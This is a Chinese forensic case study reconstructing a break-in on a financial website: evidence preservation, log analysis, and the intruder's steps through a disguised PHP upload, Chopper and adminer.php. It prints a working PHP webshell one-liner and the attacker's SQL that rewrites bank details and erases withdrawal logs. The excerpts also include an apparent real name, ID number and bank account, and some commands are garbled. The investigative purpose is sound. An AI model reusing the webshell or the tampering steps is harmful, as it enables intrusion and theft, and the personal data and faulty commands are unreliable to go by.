◆钱志高
(上海弘连网络科技有限公司 上海 201101)
某金融网站称:其注册会员的账户内的财产,在用户不知情的情况下被提现,但网站查证后发现并不是用户自身所为。值得注意的是,提现过程中使用的银行卡并非是用户名下真实存在的银行账户。根据现有信息推测,其计算机可能被非法入侵,网站数据被篡改,损失达上百万。
数据固定是分析的前提,在固定过程中要兼顾数据原始性、完整性、可复现,可控制的原则。以下对该Linux 服务器的固定过程进行详细描述。
网站部署在阿里云上,使用的是Linux 操作系统,受害者提供了被入侵计算机的IP 和登录凭据,如图1 所示:
图1 被入侵计算机的IP 和登录凭据
执行“history > history.log”导出历史命令;
执行“last > last.log”导出登录相关信息;
执行“lastb > lastb.log”导出登录失败信息;
执行“lastlog > lastlog.log”导出所有用户的最后一次登录信息;
执行“tar czvf /var/log varlog.tar.gz”将/var/log 整个目录打包;
执行“ps -AUX > ps.log”导出进程信息;
执行“netstat -atunp > netstat.log”导出网络连接信息;
(1)目录固定
根据网站应用配置文件可知,网站目录为“/www/c****i”,执行“tar czvf /www/c*****i www.c*****i.com.tar.gz”将网站目录保存;
(2)访问日志固定
根据网站应用配置文件可知,访问日志保存位置在:“/etc/httpd/logs”,执行“tar czvf /etc/httpd/logs accesslog.tar.gz”将网站访问日志保存。
为了确保日志的完整性,执行此命令前应该停止网站应用进程,否则日志文件会因网站应用进程锁定日志而无法读取。
(1)数据表固定
在网站目录内找到数据库连接配置文件,将网站数据库导出为“database.sql”。
(2)数据库日志固定
根据Mysql 数据库配置信息,将所有日志文件进行提取固定。
固定工作完成后,首先对固定的基本信息进行分析,未发现明显异常,排除暴力破解系统用户登录的入侵方式。
(1)网站重构
安装Apache、PHP 和Mysql,将固定的数据导入,使用Web 浏览器访问后,网站首页成功展示。
(2)WebShell 扫描
使用WebShell 分析工具执行扫描,在网站目录下发现一个名为“upload****.php.bmp”的疑似网页木马的文件。
(3)WebShell 分析
使用编码工具查看该文件后,发现存在以下代码
“<?php @assert(base64_decode($_POST[h3len]))?>”
其含义是对post 提交的h3len 变量中的内容执行 base64 解码。
根据文件修改时间查找近似的文件,定位到符合条件的php 代码页“adminer.php”,打开发现此页面的功能为数据库管理器,可以执行数据库管理动作,如图2。
图2 数据库情况
通常情况下,网站管理员并没有在Web 页上修改数据库的需求,结合文件创建时间分析,可以确定此页面是入侵者为了远程操控数据库而特意留下的接口。
接下来从网站的访问日志入手,在日志中筛选出所有“adminer.php”页面的访问记录,并统计所有“adminer.php”页面访问记录中出现的“user_id”,得到4 个用户的ID:
“$ grep -E -i -o "user_id%5d=[e-9]{1,8} "adminer.php. exclude.alibaba.log | sort | uniq
user_id%5D=1392
user_id%5D=1679
user_id%5D=2613
user_id%5D=6248”
根据网站访问日志分析结果可知,来自不同IP 地址的访问者,利用数据库管理接口访问过多个数据表内容,但无法确认是否执行了修改动作。需要结合数据库以及其日志来确认入侵者具体进行了哪些行为。
(1)筛选受影响用户信息
首先使用SQL 语句查询相关表,筛选受影响用户信息然后筛选用户提现记录(图3);
图3 筛选用户信息
(2)其次筛选4 个涉案user_id 操作日志,节选部分日志如下:
update `dw_user` set password='827ccb0eea8a706c4c34a16 891f84e7b',
paypassword='827ccb0eea8a706c4c34a16891f84e7b',realna me='康静',sex='2',card_id='630104197409032543',
--更新用户2613 信息(dw_user 表)
update `dw_account_cash` set bank=302,
account='6217000010048063385',branch='北京丰台万年花城支行' where user_id=2613 --更新用户2613 银行卡提现信息(dw_account_cash 表) delete from dw_account_log where user_id=2613 AND i d>81869
--删除用户2613 的历史提现记录(dw_account_log 表)
insert into `dw_account_log` set `addtime` = '142768068 0',`addip` = '101.81.103.24',`user_id` = '2613',`type` = 'recharg e_success',`money` = '101675.00',`total` = '0',`use_money` = '0.00',`no_use_money` = '0',`collection` = '0.00',`to_user` = '0',`re mark` = '提现成功'
--插入一条提现申请记录 通过上述4 条操作记录可以看出,嫌疑人通过修改数据库中用户信息、提款人银行卡信息,再通过系统提现功能将钱转入嫌疑人设定的银行卡中。
至此,入侵后对数据库执行的操作已经明确,嫌疑人相关信息和涉案银行卡也已水落石出。
根据数据分析环节结果,接下来对整个入侵过程进行还原。
入侵者首先利用网站的文件上传漏洞,将含有恶意内容的PHP 代码页,修改文件头部,伪装成BMP 图片,成功绕过网站代码检测机制,并上传至网站的目录下;
在网站对应目录找到上传成功的恶意代码文件“uploaddyp2p.php.php”,可见上传行为有效;
使用“chopper”工具连接此网站内的恶意代码页,连接成功后使用集成的文件管理器成功打开网站所在计算机的根目录,并获得管理权限;
使用“chopper”工具集成的文件管理器,上传数据库管理器代码页“adminer.php”,读取数据库连接配置文件“/data/www/c*****i/dbconfig.php”,取得数据库权限(图4);
图4 获取数据库权限
访问“adminer.php”页,篡改数据库数据,绑定银行卡;
访问提现页,执行提现操作,成功将用户财产非法获取。
本文通过数据固定、网站重构、日志分析和入侵还原等取证方法,客观地重现了一次Linux 计算机入侵事件。入侵者使用成熟的入侵手段,一步一步将对方计算机掌控,极大的危害了公共计算机的安全,使受害者蒙受了巨大的损失。
计算机安全防护,尤其是公共计算机的安全防护,向来都是一项复杂的工程,涉及技术、设备、管理和制度等多方面的因素,单一的防护技术都有其局限性。需要综合各种计算机网络信息系统安全技术,将病毒防护技术、入侵检测技术、安全扫描技术,入侵预警技术等结合起来,才能形成一套完整的、协调一致的网络安全防护体系。
在网络安全防护中,最关键的因素是人。我们不能仅依靠杀毒软件、防火墙、漏洞检测等设备的防护,安全保护的对象是计算机,而安全保护的主体则是人,应重视树立人的计算机安全意识,提高网络安全,降低事故发生,任重而道远。